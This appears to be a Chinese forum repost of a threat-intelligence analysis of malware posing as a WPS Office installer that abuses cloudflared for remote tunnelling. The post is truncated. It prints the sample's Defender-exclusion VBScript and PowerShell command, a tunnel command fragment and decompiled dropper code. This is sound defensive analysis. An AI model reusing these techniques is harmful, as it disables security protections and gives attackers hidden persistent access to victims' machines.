论坛首页 渗透测试交流区 阅读主题

[原创]隧道藏暗控——Cloudflare 合法工具被黑产用于远程控制

262 浏览 0 回复
#1 楼主 2026-06-01 21:08:59
一、概述近期,火绒威胁情报中心监测到一类新型远控威胁攻击手段。该攻击与传统远控木马存在明显差异,可实现攻击链路全面“洗白”:该样本在攻击过程中综合使用了安装包伪装为WPS安装包进行投递、Inno Setup 多阶段解包、合法组件白利用、DLL 动态加载、服务与计划任务双重持久化以及隧道映射等多种技术手段。首先,攻击者将恶意样本伪装成 WPS 安装包,以正常软件安装流程作为掩护,降低用户警惕。随后,样本借助 Inno Setup 安装链分阶段释放 cloudflared_installer.tmp、CoreLogic.dll、cf.msi、Guard.dll、Windows.exe 等核心文件,并通过静默方式安装 cloudflared 合法组件,实现白利用免杀。完成文件落地后,样本通过 LoadLibraryW 与 GetProcAddress 显式调用 CoreLogic.dll!ExecuteSecureInstall,进一步创建服务和计划任务,形成稳定的持久化机制。其中,服务命令行会拼接 access tcp --url tcp://127.0.0.1:443 --hostname ... 等参数,以借助 cloudflared 建立远程 TCP 隧道;计划任务则分别通过 rundll32.exe Guard.dll,TyCV85iu 和 WindowsEvent.exe 完成组件拉起、守护执行与失败重试。综合来看,该样本通过将合法工具、系统组件和安装框架混合使用,显著增强了攻击链的隐蔽性、免杀能力和持续控制能力。目前,火绒安全产品已实现对该恶意样本的拦截与查杀。查杀图
二、传播方式该恶意样本主要通过伪装成WPS Office官方安装包进行传播,攻击者通常会通过钓鱼邮件、恶意下载站、社交软件等渠道投放带有恶意代码的 WPS 安装程序。样本运行后会先启动正版 WPS 的安装流程,在用户正常安装软件的过程中静默执行恶意操作,极大降低了用户的警惕性。三、攻击流程流程图
四、样本分析一、释放恶意文件与安装WPS白文件1.wps8bd-x64.exe恶意载荷主体分析基于 Gentee 虚拟机的恶意软件加载器。它将核心恶意逻辑隐藏在经过加密的 Gentee 字节码中,运行时动态释放执行环境并清理痕迹,以达到长期潜伏和规避检测的目的。分析重点应转向提取并反编译 v8 所指向的 Gentee 字节码
2.vbs脚本添加目录到DefenderVBScript_decoded_fixed.vbs 是一个用于调用 PowerShell 修改 Microsoft Defender 配置的 VBScript 脚本。
该脚本的主要功能是:通过提权方式启动 PowerShell,并执行 Add-MpPreference -ExclusionPath,将指定路径加入 Windows Defender 排除项。
2.1执行脚本添加排除目录cscript.exe adddf.vbe C:\
2.2提权方式启动 PowerShellSet shellApp = CreateObject("Shell.Application")shellApp.ShellExecute "powershell.exe", psArgs, "", "runas", 0
2.3添加 Defender 排除项PowerShell 最终执行:Add-MpPreference -ExclusionPath C:\ -ErrorAction Stop命令会把整个 C:\ 加入 Microsoft Defender 排除项
3. 安装WPS_Setup_17150 与 cloudflared_installer3.1 业务代码与反编译下列的代码是由Gentee反编译后的C++代码,还原过程见 附录1 Gentee字节码反编译:安装业务使用到的函数见 附录2 安装业务与结构:
3.2安装业务入口函数用宿主 EXE 路径和临时目录初始化上下文进入两个 payload 的完整业务流程static bool FullPayloadBusiness(
    const std::string& host_exe_path,
    const std::string& temp_root)
    RuntimeContext ctx;
    ctx.host_exe_path = host_exe_path;
    ctx.temp_root = temp_root;
    return RunPayloadBusiness(ctx);
3.3安装调度函数先构造 payload 列表再按名称分别处理:cloudflared_payload,wps_setup_payloadstatic bool RunPayloadBusiness(RuntimeContext& ctx)
    BuildPayloadList(ctx);

    for (const auto& payload : ctx.payloads)
        if (payload.name == "cloudflared_payload")
            if (!RunCloudflaredPayload(payload))
                return false;
            continue;

        if (payload.name == "wps_setup_payload")
            if (!RunWpsSetupPayload(payload))
                return false;
            continue;

    return true;
3.4安装cloudflared.exe 分支提取 cloudflared_installer.exe 并写入目标路径,完成收尾、设置属性,重新打开校验后执行安装对应代码static bool RunCloudflaredPayload(const EmbeddedPayload& payload)
    if (!ExtractEmbeddedPayload(payload))
        return false;
    if (!ApplyPayloadAttributes(payload.output_path, payload.final_attributes))
        return false;
    if (!VerifyDroppedExecutable(payload.output_path))
        return false;
    return ExecuteDroppedProcess(
        payload.output_path,


...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-291344.htm

暂无回复,快来抢沙发吧!

请登录后参与讨论

立即登录 注册账号